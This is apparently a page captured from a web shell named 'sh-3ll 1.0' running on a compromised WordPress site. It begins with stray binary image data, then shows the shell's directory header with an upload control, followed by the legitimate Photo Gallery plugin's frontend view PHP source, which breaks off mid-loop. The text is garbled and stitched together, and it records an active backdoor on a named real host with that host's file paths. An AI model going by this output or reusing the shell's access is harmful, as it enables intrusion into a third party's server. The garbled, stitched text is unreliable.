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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB` sh-3ll

HOME


sh-3ll 1.0
DIR:/home/ami/public_html/kin.ami.rw/wp-content/plugins/photo-gallery/frontend/views/
Upload File :
Current File : /home/ami/public_html/kin.ami.rw/wp-content/plugins/photo-gallery/frontend/views/view.php
<?php
class BWGViewSite {

  public function container($params = array(), $bwg = 0, $content = '') {
    if ( $params['thumb_click_action'] == 'open_lightbox' ) {
      // Checking image type is EMBED_OEMBED_INSTAGRAM_POST.
      $embed_instagram_post = FALSE;
      if ( !empty($params['image_rows']['images']) ) {
        $image_filetypes = array_column($params['image_rows']['images'], 'filetype');
        if ( in_array('EMBED_OEMBED_INSTAGRAM_POST',$image_filetypes) ) {
          $embed_instagram_post = TRUE;
        }
      }
      if ( $embed_instagram_post || ( isset($params['gallery_row']->gallery_type)
        && in_array($params['gallery_row']->gallery_type, array( 'instagram', 'instagram_post' )) ) ) {
        if ( !wp_script_is('instagram-embed', 'done') ) {
          wp_register_script( 'instagram-embed', 'https://www.instagram.com/embed.js' );
          wp_print_scripts( 'instagram-embed' );
        }

      }
    }
    if ( !WDWLibrary::elementor_is_active() && BWG()->options->use_inline_stiles_and_scripts ) {
      wp_enqueue_style(BWG()->prefix . '_frontend');
      if ( (isset($params['show_tag_box']) && $params['show_tag_box'])
        || (isset($params['show_sort_images']) && $params['show_sort_images'])
        || $params['album_view_type'] == 'album' ) {
        if ( !wp_script_is('sumoselect', 'done') ) {
          wp_print_scripts('sumoselect');
        }
      }
      if ( $params['thumb_click_action'] == 'open_lightbox' ) {
        if ( $params['popup_enable_comment'] ) {
          if ( !wp_script_is('mCustomScrollbar', 'done') ) {
            wp_print_scripts('mCustomScrollbar');
          }
        }
        if ( $params['popup_enable_fullscreen'] ) {
          if ( !wp_script_is('jquery-fullscreen', 'done') ) {
            wp_print_scripts('jquery-fullscreen');
          }
        }
        if ( !wp_script_is('bwg_gallery_box', 'done') ) {
          wp_print_scripts('bwg_gallery_box');
        }
        if ( $params['popup_enable_rate'] ) {
          if ( !wp_script_is('bwg_raty', 'done') ) {
            wp_print_scripts('bwg_raty');
          }
        }
      }
      if ( !wp_script_is('jquery-mobile', 'done') ) {
        wp_print_scripts('jquery-mobile');
      }
      if ( !wp_script_is('bwg_frontend', 'done') ) {
        wp_print_scripts('bwg_frontend');
      }
    }

    $params_array = $params['params_array'];
    $theme_row = $params['theme_row'];
    if (function_exists('amp_is_request') && amp_is_request()) {
        echo
        '<style>
            amp-img {
              height: 100%!important;
            }
            #bwg_container1_' . esc_attr($bwg) . ' #bwg_container2_' . esc_attr($bwg) . ' .bwg-container-' . esc_attr($bwg) . '.bwg-standard-thumbnails .bwg-item1 {
                padding-top: 66%;
            }
            .bwg-container-' . esc_attr($bwg) . ' {
            width: 100%!important;
            }
            @media screen and (max-width: 485px) {
            .bwg-item {
                                width:100%;
                            }
            }
            @media screen and (max-width: 768px) and (min-width: 486px) {
            .bwg-item {
                                width:50%;
                            }
            }
            @media screen and (min-width: 769px) {
            .bwg-item {
                                width:33.3%;
                            }
            }
        </style>';
    }
    $params['gallery_view_type'] = isset($params['gallery_view_type']) ? $params['gallery_view_type'] : $params['gallery_type'];
    ?>

    <div id="bwg_container1_<?php echo esc_attr($bwg); ?>"
         class="bwg_container bwg_thumbnail bwg_<?php echo esc_attr($params['gallery_type']); ?> <?php echo $params['gallery_type'] != $params['gallery_view_type'] ? 'bwg_'.esc_attr($params['gallery_view_type']) : ''; ?>"
         data-right-click-protection="<?php echo esc_attr(BWG()->options->image_right_click); ?>"
         data-bwg="<?php echo esc_attr($bwg); ?>"
         data-scroll="<?php echo esc_attr($params['need_scroll']); ?>"
         data-gallery-type="<?php echo esc_attr($params['gallery_type']); ?>"
         data-gallery-view-type="<?php echo esc_attr($params['gallery_view_type']); ?>"
         data-current-url="<?php echo esc_url(addslashes(urldecode($params_array['current_url']))); ?>"
         data-lightbox-url="<?php echo esc_url(addslashes(add_query_arg($params_array, admin_url('admin-ajax.php')))); ?>"
         data-gallery-id="<?php echo esc_attr($params_array['gallery_id']); ?>"
         data-popup-width="<?php echo esc_attr($params["popup_width"]); ?>"
         data-popup-height="<?php echo esc_attr($params["popup_height"]); ?>"
         data-is-album="<?php echo esc_attr($params["view_type"]); ?>"
         data-buttons-position="<?php echo esc_attr($theme_row->lightbox_ctrl_btn_pos); ?>">
      <div id="bwg_container2_<?php echo esc_attr($bwg); ?>">
         <?php (function_exists('amp_is_request') && amp_is_request()) ? :$this->loading($bwg, $params["image_enable_page"], $params['gallery_type'] ); ?>
        <form id="gal_front_form_<?php echo esc_attr($bwg); ?>"
              <?php echo (function_exists('amp_is_request') && amp_is_request()) ? : 'class="bwg-hidden"' ?>
              method="post"
              action="#"
              data-current="<?php echo esc_attr($bwg); ?>"
              data-shortcode-id="<?php echo isset($params['id']) ? esc_attr($params['id']) : 0; ?>"
              data-gallery-type="<?php echo esc_attr($params['gallery_type']); ?>"
              data-gallery-id="<?php echo esc_attr($params['gallery_id']); ?>"
              data-tag="<?php echo esc_attr($params['tag']); ?>"
              data-album-id="<?php echo esc_attr($params['album_id']); ?>"
              data-theme-id="<?php echo esc_attr($params['theme_id']); ?>"
              data-ajax-url="<?php echo esc_url(add_query_arg(array('action' => 'bwg_frontend_data'), admin_url('admin-ajax.php'))); ?>">
          <div id="bwg_container3_<?php echo esc_attr($bwg); ?>" class="bwg-background bwg-background-<?php echo esc_attr($bwg); ?>">
            <?php
            $get_album_gallery_id = WDWLibrary::get("album_gallery_id_" . $bwg, 0, 'intval');
            if ( BWG()->options->front_ajax == "1" && isset($get_album_gallery_id) && intval($get_album_gallery_id) > 0 ) {
              $this->back($params, $bwg);
            }
            if ( BWG()->options->front_ajax == "1" || !$get_album_gallery_id ) {
              $this->title_description($params, $bwg);
            }
            if ( (!isset($params['from']) || $params['from'] !== 'widget')
              && !(function_exists('amp_is_request') && amp_is_request())
              && ((isset($params['show_sort_images']) && $params['show_sort_images'])
              || (isset($params['show_tag_box']) && $params['show_tag_box'])
              || (isset($params['show_search_box']) && $params['show_search_box'])) )
            {
							/* Used when Tag Filter is Select View */
							if ( $theme_row->tags_view == 1 ) { ?>
								<div class="search_line bwg_tag_select_view">
								 <?php
								 $this->ajax_html_frontend_sort_box($params, $bwg);
								 $this->ajax_html_frontend_search_tags($params, $bwg);
								 $this->ajax_html_frontend_search_box($params, $bwg);
								 ?>
								</div>
							<?php
							}
							/* Used when Tag Filter is Button View */
							else { ?>
								<div class="search_line bwg_tag_buttons_view">
								 <?php
								 $this->ajax_html_frontend_sort_box($params, $bwg);
								 $this->ajax_html_frontend_search_box($params, $bwg);
								 $this->ajax_html_frontend_search_tags($params, $bwg);
								 ?>
								</div>
							<?php
							}
            }
            if ( isset($params['image_rows']) && !count($params['image_rows']['images']) ) {
              if ( $params['tag'] ) {
                echo WDWLibrary::message(esc_html__('There are no images.', 'photo-gallery'), 'wd_error');
              }
              else {
                echo WDWLibrary::message(esc_html__('No Images found.', 'photo-gallery'), 'wd_error');
              }
            }
            if ( $params['album_view_type'] == 'album' || isset($params['image_rows']) && count($params['image_rows']['images']) ) {
              $pagination_style = $params['gallery_type'] == 'image_browser' ? 'image_browser' : 'simple';
              $this->ajax_html_frontend_page_nav($theme_row, 'top', $params, $bwg, $pagination_style);
              echo $content;
              $this->ajax_html_frontend_page_nav($theme_row, 'bottom', $params, $bwg, $pagination_style);
              $this->download_button($params, $bwg);
            }
            ?>
          </div>
        </form>
        <?php
         
        if ( $params['thumb_click_action'] == 'open_lightbox' ) {
          ob_start();
          ?>
          #bwg_container1_<?php echo esc_attr($bwg); ?> #bwg_container2_<?php echo esc_attr($bwg); ?> #spider_popup_overlay_<?php echo esc_attr($bwg); ?> {
          background-color: #<?php echo esc_html($theme_row->lightbox_overlay_bg_color); ?>;
          opacity: <?php echo number_format($theme_row->lightbox_overlay_bg_transparent / 100, 2, ".", ""); ?>;
          }
          <?php
          $inline_style = ob_get_clean();

          if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() ) {
            wp_add_inline_style( 'bwg_frontend', $inline_style );
          }
          else {
            echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
          }
          ?>
        <div id="bwg_spider_popup_loading_<?php echo esc_attr($bwg); ?>" class="bwg_spider_popup_loading"></div>
        <div id="spider_popup_overlay_<?php echo esc_attr($bwg); ?>" class="spider_popup_overlay" onclick="spider_destroypopup(1000)"></div>
        <input type="hidden" id="bwg_random_seed_<?php echo esc_attr($bwg); ?>" value="<?php echo isset($GLOBALS['bwg_random_seed_' . $bwg]) ? esc_attr($GLOBALS['bwg_random_seed_' . $bwg]) : '' ?>">
          <?php
        }
        ?>
      </div>
    </div>
    <script>
      if (document.readyState === 'complete') {
        if( typeof bwg_main_ready == 'function' ) {
          if ( jQuery("#bwg_container1_<?php echo esc_attr($bwg); ?>").height() ) {
            bwg_main_ready(jQuery("#bwg_container1_<?php echo esc_attr($bwg); ?>"));
          }
        }
      } else {
        document.addEventListener('DOMContentLoaded', function() {
          if( typeof bwg_main_ready == 'function' ) {
            if ( jQuery("#bwg_container1_<?php echo esc_attr($bwg); ?>").height() ) {
             bwg_main_ready(jQuery("#bwg_container1_<?php echo esc_attr($bwg); ?>"));
            }
          }
        });
      }
    </script>
    <?php
  }

  public function ajax_content($params, $bwg, $content) {
    $theme_row = $params['theme_row'];
	  if ( isset($params['breadcrumb_arr']) && count($params['breadcrumb_arr']) > 1 ) { /* If not first album.*/
      $this->back($params, $bwg);
    }
    if ( BWG()->options->front_ajax != "1" ) {
      $this->title_description($params, $bwg);
      if((!isset($params['from']) || $params['from'] !== 'widget')
        && ((isset($params['show_sort_images']) && $params['show_sort_images'])
          || (isset($params['show_tag_box']) && $params['show_tag_box'])
          || (isset($params['show_search_box']) && $params['show_search_box'])))
      {
        /* Used when Tag Filter is Select View */
				if ( $theme_row->tags_view == 1 ) { ?>
					<div class="search_line bwg_tag_select_view">
					 <?php
					 $this->ajax_html_frontend_sort_box($params, $bwg);
					 $this->ajax_html_frontend_search_tags($params, $bwg);
					 $this->ajax_html_frontend_search_box($params, $bwg);
					 ?>
					</div>
				<?php
				}
				/* Used when Tag Filter is Button View */
				else { ?>
					<div class="search_line bwg_tag_buttons_view">
					 <?php
             $this->ajax_html_frontend_sort_box($params, $bwg);
             $this->ajax_html_frontend_search_box($params, $bwg);
             $this->ajax_html_frontend_search_tags($params, $bwg);
					 ?>
					</div>
				<?php
				}
      }
    }

    if ( isset($params['image_rows']) && !count($params['image_rows']['images']) ) {
      if ( $params['tag'] ) {
        echo WDWLibrary::message(esc_html__('There are no images.', 'photo-gallery'), 'wd_error');
      }
      else {
        echo WDWLibrary::message(esc_html__('No Images found.', 'photo-gallery'), 'wd_error');
      }
    }

    $compuct_album_enable_page = "";
    if (isset($params["compuct_album_enable_page"])) {
      $compuct_album_enable_page = $params["compuct_album_enable_page"];
    }
    $enable_page = "";
    if (isset($params["image_enable_page"])) {
      $enable_page = $params["image_enable_page"];
    }
    if ( BWG()->options->front_ajax == "1" && (($compuct_album_enable_page !== "2" && $compuct_album_enable_page !== "3") && ($enable_page !== "2" && $enable_page !== "3")) ) {
      if ( $params['album_view_type'] == 'album' || isset($params['image_rows']) && count($params['image_rows']['images']) ) {
        echo $content;
      }
    }
    else {
      if ($params['album_view_type'] == 'album' || isset($params['image_rows']) && count($params['image_rows']['images'])) {
        $pagination_style = $params['gallery_type'] == 'image_browser' ? 'image_browser' : 'simple';
        $this->ajax_html_frontend_page_nav($params['theme_row'], 'top', $params, $bwg, $pagination_style);
        echo $content;
        $this->ajax_html_frontend_page_nav($params['theme_row'], 'bottom', $params, $bwg, $pagination_style);
        $this->download_button($params, $bwg);
      }
    }
  }

  public function loading($bwg = 0, $image_enable_page = 0, $gallery_type = '' ) {
    ?>
    <div id="ajax_loading_<?php echo esc_attr($bwg); ?>" class="bwg_loading_div_1">
      <div class="bwg_loading_div_2">
        <div class="bwg_loading_div_3">
          <div id="loading_div_<?php echo esc_attr($bwg); ?>" class="bwg_spider_ajax_loading">
          </div>
        </div>
      </div>
    </div>
    <?php
  }

  public function back($params, $bwg) {
    $theme_row = $params['theme_row'];
    ob_start();
    ?>
    #bwg_container1_<?php echo esc_attr($bwg); ?> #bwg_container2_<?php echo esc_attr($bwg); ?> .bwg_back_<?php echo esc_attr($bwg); ?> {
      display: inline-block;
      background-color: rgba(0, 0, 0, 0);
      margin-bottom: 20px;
      padding: <?php echo esc_html($theme_row->back_padding); ?>;
      line-height: <?php echo esc_html($theme_row->back_font_size); ?>px;
      text-align: left;
      font-family: <?php echo esc_html($theme_row->back_font_style); ?>;
      font-weight: <?php echo esc_html($theme_row->back_font_weight); ?>;
      font-size: <?php echo esc_html($theme_row->back_font_size); ?>px;
      color: #<?php echo esc_html($theme_row->back_font_color); ?>;
      cursor: pointer;
    }
    <?php
    $inline_style = ob_get_clean();
    if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() && !$params['ajax'] ) {
      wp_add_inline_style('bwg_frontend', $inline_style);
    }
    else {
      echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
    }
    ?>
    <div class="bwg_back bwg_back_<?php echo esc_attr($bwg); ?>" onclick="bwg_ajax('gal_front_form_<?php echo esc_attr($bwg); ?>', '<?php echo esc_attr($bwg); ?>', '<?php echo esc_html($params['container_id']); ?>', 'back', '', 'album')"><i class="bwg-icon-arrow-left"></i> <?php _e('Back', 'photo-gallery'); ?></div>
    <?php
  }

  public function title_description($params, $bwg) {
    $row = $params['album_view_type'] == 'album' ? $params['album_row'] : $params['gallery_row'];
    if ( is_object($row) && isset($params['showthumbs_name']) && isset($params['show_gallery_description']) ) {
      if ( (($params['showthumbs_name'] && isset($row->name) && $row->name != '')
        || ($params['show_gallery_description'] && isset($row->description) && $row->description != '')) ) {
        $theme_row = $params['theme_row'];
        ob_start();
        ?>
        #bwg_container1_<?php echo esc_attr($bwg); ?> #bwg_container2_<?php echo esc_attr($bwg); ?> .bwg_gal_title_<?php echo esc_attr($bwg); ?> {
          display: block;
          padding: <?php echo esc_html($theme_row->thumb_gal_title_margin); ?>;
          background-color: rgba(0, 0, 0, 0);
          line-height: 20px;
          font-family: <?php echo esc_html($theme_row->thumb_gal_title_font_style); ?>;
          font-size: <?php echo esc_html($theme_row->thumb_gal_title_font_size); ?>px;
          font-weight: <?php echo esc_html($theme_row->thumb_gal_title_font_weight); ?>;
          color: #<?php echo esc_html($theme_row->thumb_gal_title_font_color); ?>;
          text-shadow: <?php echo esc_html($theme_row->thumb_gal_title_shadow); ?>;
          text-align: <?php echo esc_html($theme_row->thumb_gal_title_align); ?>;
        }
        #bwg_container1_<?php echo esc_attr($bwg); ?> #bwg_container2_<?php echo esc_attr($bwg); ?> .bwg_gal_description_<?php echo esc_attr($bwg); ?> {
          margin: 20px 0;
          word-break: break-word;
          text-align: justify;
          font-size: <?php echo esc_html($theme_row->thumb_gal_title_font_size - 3); ?>px;
          font-weight: unset;
        }
        <?php
        $inline_style = ob_get_clean();
        if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() && !$params['ajax'] ) {
          wp_add_inline_style('bwg_frontend', $inline_style);
        }
        else {
          echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
        }
      }
      if ( $params['showthumbs_name'] && isset($row->name) && $row->name != '' ) {
        ?>
        <div class="bwg_gal_title_<?php echo esc_attr($bwg); ?>"><?php echo WDWLibrary::strip_tags(stripslashes($row->name)); ?></div>
        <?php
      }
      if ( $params['show_gallery_description'] && isset($row->description) && $row->description != '' ) {
        ?>
        <div class="bwg_gal_title_<?php echo esc_attr($bwg); ?> bwg_gal_description_<?php echo esc_attr($bwg); ?>"><?php echo WDWLibrary::strip_tags(stripslashes($row->description)); ?></div>
        <?php
      }
    }
  }

  /**
   * @param $params
   * @param $bwg
   */
  public function download_button($params, $bwg) {
    if ( isset($params['gallery_download'])
      && $params['gallery_download']
      && ($params['gallery_row']->id == 0 || ($params['gallery_row']->gallery_type != 'facebook' && $params['gallery_row']->gallery_type != 'instagram' && $params['gallery_row']->gallery_type != 'instagram_post')) ) {
      if ( count($params['image_rows']['images']) ) {
        $bwg_tags_input_value = WDWLibrary::get('bwg_tag_id_'.$params['container_id']);
        $bwg_download_nonce = wp_create_nonce( 'bwg-download-nonce' );
        $query_url = addslashes(add_query_arg(array(
                                                "action" => "download_gallery",
                                                "_wpnonce" => esc_attr( $bwg_download_nonce ),
                                                "gallery_id" => $params['gallery_id'],
                                                "bwg" => $bwg,
                                                "type" => 'gallery',
                                                "tag_input_name" => 'bwg_tag_id_'.$params['container_id'],
                                                'bwg_tag_id_'.$params['container_id'] => $bwg_tags_input_value,
                                                "tag" => $params['tag'],
                                                "bwg_search_" . $bwg => WDWLibrary::get('bwg_search_' . $bwg),
                                              ), admin_url('admin-ajax.php')));
        ?>
        <div class="bwg_download_gallery">
          <a href="<?php echo esc_url($query_url); ?>">
            <i title="<?php _e('Download gallery', 'photo-gallery'); ?>" class="bwg-icon-download bwg_ctrl_btn"></i>
          </a>
        </div>
        <?php
      }
    }
  }

  public function ajax_html_frontend_search_box($params, $bwg) {
    if ( isset($params['show_search_box']) && $params['show_search_box'] ) {
      $form_id = 'gal_front_form_' . $bwg;
      $current_view = $bwg;
      $cur_gal_id = $params['container_id'];
      $images_count = count(($params['album_view_type'] != 'album' ? $params['image_rows']['images'] : $params['album_gallery_rows']['rows']));
      $search_box_width = $params['search_box_width'];
      $placeholder = $params['placeholder'];
      $bwg_search = WDWLibrary::get('bwg_search_' . $current_view);
      $type = WDWLibrary::get('type_' . $current_view, 'album');
      $type = ($type != 'album') ? 'gallery' : 'album';
      if ( $type == 'album' ) {
       $bwg_search = WDWLibrary::get('bwg_album_search_' . $current_view);
      }
      if ( BWG()->options->front_ajax == "1" ) {
        $bwg_search = WDWLibrary::get('bwg_search_' . $current_view);
      }
      $album_gallery_id =  WDWLibrary::get('album_gallery_id_' . $current_view, $params['album_gallery_id'], 'intval');
      ob_start();
      ?>
      #bwg_search_container_1_<?php echo esc_attr($current_view); ?> {
				max-width: <?php echo esc_html($search_box_width); ?>px;
      }
      <?php
      $inline_style = ob_get_clean();
      if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() && !$params['ajax'] ) {
        wp_add_inline_style('bwg_frontend', $inline_style);
      }
      else {
          echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
      }
      ?>
      <?php
      $bwg_search_focus = "";
      $bwg_search_reset = "bwg-hidden";
      $bwg_ajax_reset = "bwg_ajax('".$form_id."', '".$current_view."', '".$cur_gal_id."', ". $album_gallery_id.", '', '".$type."', 1)";
      if (BWG()->options->front_ajax == "1" && !empty($bwg_search)) {
        $bwg_search_focus = 'style="display:none;"';
        $bwg_search_reset = "";
        $bwg_ajax_reset = "";
      }
      ?>
      <div class="bwg_search_container_1" id="bwg_search_container_1_<?php echo esc_attr($current_view); ?>">
        <div class="bwg_search_container_2" id="bwg_search_container_2_<?php echo esc_attr($current_view); ?>">
        <span class="bwg_search_input_container">
          <span class="bwg_search_loupe_container1 bwg-hidden">
             <i title="<?php echo esc_html__('SEARCH...', 'photo-gallery'); ?>" class="bwg-icon-search bwg_search" onclick="bwg_ajax('<?php echo esc_attr($form_id); ?>', '<?php echo esc_attr($current_view); ?>', '<?php echo esc_html($cur_gal_id); ?>', <?php echo esc_html($album_gallery_id); ?>, '', '<?php echo esc_html($type); ?>', 1)"></i>
          </span>
          <input id="bwg_search_input_<?php echo esc_attr($current_view); ?>" class="bwg_search_input" type="text" onkeypress="bwg_key_press(this); return bwg_check_search_input_enter(this, event);" name="bwg_search_<?php echo esc_attr($current_view); ?>" value="<?php echo esc_attr($bwg_search); ?>" placeholder="<?php echo esc_attr($placeholder); ?>" />
          <span class="bwg_search_reset_container <?php echo esc_attr($bwg_search_reset); ?>">
          <i title="<?php echo esc_html__('Reset', 'photo-gallery'); ?>" class="bwg-icon-times bwg_reset" onclick="bwg_clear_search_input('<?php echo esc_attr($current_view); ?>'); <?php echo esc_html($bwg_ajax_reset);?> "></i>
        </span>
          <input id="bwg_images_count_<?php echo esc_attr($current_view); ?>" class="bwg_search_input" type="hidden" name="bwg_images_count_<?php echo esc_attr($current_view); ?>" value="<?php echo esc_attr($images_count); ?>">
            <span class="search_placeholder_title" onclick="bwg_search_focus(this)" <?php echo esc_html($bwg_search_focus); ?>>
                <span class="bwg_search_loupe_container">
                  <i title="<?php echo esc_html__('SEARCH...', 'photo-gallery'); ?>" class="bwg-icon-search bwg_search"></i>
                </span>
                <span style="font-size: 12px; font-family: Ubuntu;"><?php echo esc_html($placeholder); ?></span>
          </span>
        </span>
        </div>
      </div>
      <?php
    }
  }

  public function ajax_html_frontend_sort_box($params, $bwg) {
    if ( isset($params['show_sort_images']) && $params['show_sort_images'] ) {
      $form_id = 'gal_front_form_' . $bwg;
      $current_view = $bwg;
      $cur_gal_id = $params['container_id'];
      $sort_by = $params['sort_by'];
      $search_box_width = $params['search_box_width'];
      $type = WDWLibrary::get('type_' . $current_view, 'album');
      $type = ($type != 'album') ? 'gallery' : 'album';
      $album_gallery_id = WDWLibrary::get('album_gallery_id_' . $current_view, 0, 'intval');
      if ( BWG()->options->front_ajax == "1" ) {
        $sort_by = WDWLibrary::get( 'sort_by_'. $bwg, $sort_by );
      }
      ob_start();
      ?>
      #bwg_order_<?php echo esc_attr($current_view); ?> {
      width: <?php echo esc_html($search_box_width); ?>px;
      }
      <?php
      $inline_style = ob_get_clean();
      if ( BWG()->options->use_inline_stiles_and_scripts ) {
        wp_add_inline_style('bwg_frontend', $inline_style);
      }
      ?>
      <div class="bwg_order_cont">
        <select id="bwg_order_<?php echo esc_attr($current_view); ?>" class="bwg_order bwg_order_<?php echo esc_attr($current_view); ?>" onchange="bwg_ajax('<?php echo esc_html($form_id); ?>', '<?php echo esc_html($current_view); ?>', '<?php echo esc_html($cur_gal_id); ?>', <?php echo esc_html($album_gallery_id); ?>, '', '<?php echo esc_html($type); ?>', 1, '', this.value)">
          <option <?php if ( $sort_by == 'default' ) {
            echo 'selected';
          } ?> value="default"><?php echo esc_html__('Order by Default', 'photo-gallery'); ?></option>
          <option <?php if ( $sort_by == 'alt' ) {
            echo 'selected';
          } ?> value="alt"><?php echo esc_html__('Title', 'photo-gallery'); ?></option>
          <option <?php if ( $sort_by == 'date' ) {
            echo 'selected';
          } ?> value="date"><?php echo esc_html__('Date', 'photo-gallery'); ?></option>
          <option <?php if ( $sort_by == 'filename' ) {
            echo 'selected';
          } ?> value="filename"><?php echo esc_html__('Filename', 'photo-gallery'); ?></option>
          <option <?php if ( $sort_by == 'size' ) {
            echo 'selected';
          } ?> value="size"><?php echo esc_html__('Size', 'photo-gallery'); ?></option>
          <option <?php if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
            echo 'selected';
          } ?> value="random"><?php echo esc_html__('Random', 'photo-gallery'); ?></option>
        </select>
      </div>
      <?php
    }
  }

  public function ajax_html_frontend_search_tags($params, $bwg) {
    if ( isset($params['show_tag_box']) && $params['show_tag_box'] ) {
    	$theme_row = $params['theme_row'];
    	$form_id = 'gal_front_form_' . $bwg;
      $current_view = $bwg;
      $cur_gal_id = $params['container_id'];
      $tags_rows = $params['tags_rows'];
      $type = WDWLibrary::get('type_' . $current_view, 'album');
      $type = ($type != 'album') ? 'gallery' : 'album';
      $bwg_search_tags = WDWLibrary::get('bwg_tag_id_' . $cur_gal_id, array());
      $get_filter_teg = WDWLibrary::get('filter_tag_' . $bwg);
      if ( BWG()->options->front_ajax == "1" && isset($get_filter_teg) && !empty($get_filter_teg) ) {
        $filter_teg_arr = array_map('intval', explode(",", trim($get_filter_teg)));
        $bwg_search_tags = $filter_teg_arr;
      } ob_start();
      $album_gallery_id = WDWLibrary::get('album_gallery_id_' . $current_view, 0, 'intval');
      $show_bottom_tag = 0;
      ?>
			/* Tags styles */
			<?php if ( ( $params['show_sort_images'] || $params['show_search_box'] ) && ( $params['show_tag_box'] && $theme_row->tags_view == 0 ) ) { ?>
				#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_search_container_1,
				#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_order_cont {
					margin-bottom: 20px;
				}
			<?php } ?>
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_view_container .verLine {
				border-left: 1px solid #<?php echo esc_html($theme_row->tags_but_border_color); ?>;
			}
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_view_container button {
				padding: <?php echo esc_html($theme_row->tags_but_padding); ?>;
				margin: <?php echo esc_html($theme_row->tags_but_margin); ?>;
				font-size: <?php echo esc_html($theme_row->tags_but_font_size); ?>px;
				color: #<?php echo esc_html($theme_row->tags_but_font_color); ?>;
				font-family: <?php echo esc_html($theme_row->tags_but_font_style); ?>;
				font-weight: <?php echo esc_html($theme_row->tags_but_font_weight); ?>;
				background-color: #<?php echo esc_html($theme_row->tags_but_bg_color); ?>;
				border-radius: <?php echo esc_html($theme_row->tags_but_border_radius); ?>;
				border: <?php echo esc_html($theme_row->tags_but_border_width); ?>px <?php echo esc_html($theme_row->tags_but_border_style); ?> #<?php echo esc_html($theme_row->tags_but_border_color); ?>;
			}
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_view_container button.active {
				background-color: #<?php echo esc_html($theme_row->tags_but_active_bg_color); ?>;
			  color: #<?php echo esc_html($theme_row->tags_but_active_color); ?>;
			}
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_see_all {
				border-top: 1px solid #<?php echo esc_html($theme_row->tags_but_border_color); ?>;
			}
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_see_all .see_all_tags {
				border: <?php echo esc_html($theme_row->tags_but_see_all_border_w); ?>px <?php echo esc_html($theme_row->tags_but_see_all_border_s); ?> #<?php echo esc_html($theme_row->tags_but_see_all_border_c); ?>;
				border-radius: <?php echo esc_html($theme_row->tags_but_see_all_border_r); ?>;
				background-color: #<?php echo esc_html($theme_row->tags_but_see_all_back_color); ?>;
				font-size: <?php echo esc_html($theme_row->tags_but_see_all_size); ?>px;
				color: #<?php echo esc_html($theme_row->tags_but_see_all_color); ?>;
			}
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_see_all .see_all_tags span {
				font-size: <?php echo esc_html($theme_row->tags_but_see_all_size); ?>px;
				font-weight: <?php echo esc_html($theme_row->tags_but_font_weight); ?>;
				font-family: <?php echo esc_html($theme_row->tags_but_font_style); ?>;
				background-color: #<?php echo esc_html($theme_row->tags_but_see_all_color); ?>;
			}
			@media only screen and (max-width : 480px) {
				#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .bwg_tag_button_see_all .see_all_tags {
					font-size: calc(<?php echo esc_html($theme_row->tags_but_see_all_size); ?>px - 3px);
					 padding: 10px 15px;
    left: 42%;
				}
			}
			<?php
			$inline_style = ob_get_clean();
			if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() && !$params['ajax'] ) {
				wp_add_inline_style('bwg_frontend', $inline_style);
			}
			else {
          echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
			}
      if ( $theme_row->tags_view == 1 ) { ?>
        <div class="bwg_tags_container_<?php echo esc_attr($current_view); ?>" >
          <div class="search_tags_container">
            <select class="search_tags" id="bwg_tag_id_<?php echo esc_attr($cur_gal_id); ?>" multiple="multiple">
             <?php
             foreach ( $tags_rows as $tags_row ) {
                $selected = ( !empty($bwg_search_tags) && in_array($tags_row->term_id ? $tags_row->term_id : '', $bwg_search_tags)) ? 'selected="selected"' : ''; ?>
                <option value="<?php echo esc_attr($tags_row->term_id) ?>" <?php echo esc_html($selected); ?>><?php echo esc_html($tags_row->name) ?></option>
              <?php
             }
             ?>
            </select>
          </div>
      <?php
      }
      else { ?>
        <div class="bwg_tags_container_<?php echo esc_attr($current_view); ?>">
          <div class="bwg_tag_button_view_container" >
             <button type="button" class="bwg_all_tags active" data-filter="All Tags"><?php echo esc_html__('All Tags', 'photo-gallery');?></button><div class="verLine"></div>
             <?php
             foreach ( $tags_rows as $tags_row ) {
                $active = ( !empty($bwg_search_tags) && in_array($tags_row->term_id ? $tags_row->term_id : '', $bwg_search_tags)) ? 'active' : '';
              ?>
